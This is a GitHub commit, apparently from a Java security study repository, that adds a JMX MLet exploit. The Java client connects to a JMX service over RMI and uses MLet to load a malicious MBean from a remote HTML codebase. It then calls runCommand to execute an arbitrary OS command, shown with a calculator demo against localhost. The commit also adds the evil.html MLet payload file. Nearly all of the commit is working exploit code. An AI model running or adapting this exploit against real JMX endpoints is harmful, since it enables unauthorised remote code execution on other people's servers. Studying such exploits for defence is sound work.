Commit 1f6b788
File tree
- JavaSecurity/JDK/JMX
- out/artifacts/JMX_jar
- src/main
- java/com/drunkbaby/mlet
- resources/META-INF
Binary file not shown.
Binary file not shown.
Lines changed: 66 additions & 0 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,66 @@ | |||
| 1 | + package com.drunkbaby.mlet; | ||
| 2 | + | ||
| 3 | + import javax.management.MBeanServerConnection; | ||
| 4 | + import javax.management.ObjectInstance; | ||
| 5 | + import javax.management.ObjectName; | ||
| 6 | + import javax.management.remote.JMXConnector; | ||
| 7 | + import javax.management.remote.JMXConnectorFactory; | ||
| 8 | + import javax.management.remote.JMXServiceURL; | ||
| 9 | + import java.net.MalformedURLException; | ||
| 10 | + import java.util.HashSet; | ||
| 11 | + import java.util.Iterator; | ||
| 12 | + | ||
| 13 | + public class ExploitJMXByRemoteMBean { | ||
| 14 | + | ||
| 15 | + public static void main(String[] args) { | ||
| 16 | + try { | ||
| 17 | + // connectAndOwn(args[0], args[1], args[2]); | ||
| 18 | + connectAndOwn("localhost","1099","open -a Calculator"); | ||
| 19 | + } catch (Exception e) { | ||
| 20 | + e.printStackTrace(); | ||
| 21 | + } | ||
| 22 | + } | ||
| 23 | + | ||
| 24 | + static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException { | ||
| 25 | + try { | ||
| 26 | + // step1. 通过rmi创建 jmx连接 | ||
| 27 | + JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); | ||
| 28 | + System.out.println("URL: " + u + ", connecting"); | ||
| 29 | + JMXConnector c = JMXConnectorFactory.connect(u); | ||
| 30 | + System.out.println("Connected: " + c.getConnectionId()); | ||
| 31 | + MBeanServerConnection m = c.getMBeanServerConnection(); | ||
| 32 | + | ||
| 33 | + // step2. 加载特殊MBean：javax.management.loading.MLet | ||
| 34 | + ObjectInstance evil_bean = null; | ||
| 35 | + ObjectInstance evil = null; | ||
| 36 | + try { | ||
| 37 | + evil = m.createMBean("javax.management.loading.MLet", null); | ||
| 38 | + } catch (javax.management.InstanceAlreadyExistsException e) { | ||
| 39 | + evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); | ||
| 40 | + } | ||
| 41 | + // step3：通过MLet加载远程恶意MBean | ||
| 42 | + System.out.println("Loaded "+evil.getClassName()); | ||
| 43 | + Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[] | ||
| 44 | + { "http://localhost:4141/evil.html"}, | ||
| 45 | + new String[] { String.class.getName() } ); | ||
| 46 | + | ||
| 47 | + HashSet res_set = ((HashSet)res); | ||
| 48 | + Iterator itr = res_set.iterator(); | ||
| 49 | + Object nextObject = itr.next(); | ||
| 50 | + if (nextObject instanceof Exception) | ||
| 51 | + { | ||
| 52 | + throw ((Exception)nextObject); | ||
| 53 | + } | ||
| 54 | + evil_bean = ((ObjectInstance)nextObject); | ||
| 55 | + | ||
| 56 | + // step4: 执行恶意MBean | ||
| 57 | + System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName()); | ||
| 58 | + System.out.println("Calling runCommand with: "+command); | ||
| 59 | + Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() }); | ||
| 60 | + System.out.println("Result: "+result); | ||
| 61 | + } catch (Exception e) | ||
| 62 | + { | ||
| 63 | + e.printStackTrace(); | ||
| 64 | + } | ||
| 65 | + } | ||
| 66 | + } | ||
Binary file not shown.
Lines changed: 1 addition & 0 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1 @@ | |||
| 1 | + <html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html> | ||
Lines changed: 3 additions & 0 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,3 @@ | |||
| 1 | + Manifest-Version: 1.0 | ||
| 2 | + Main-Class: org.example.Main | ||
| 3 | + | ||
0 commit comments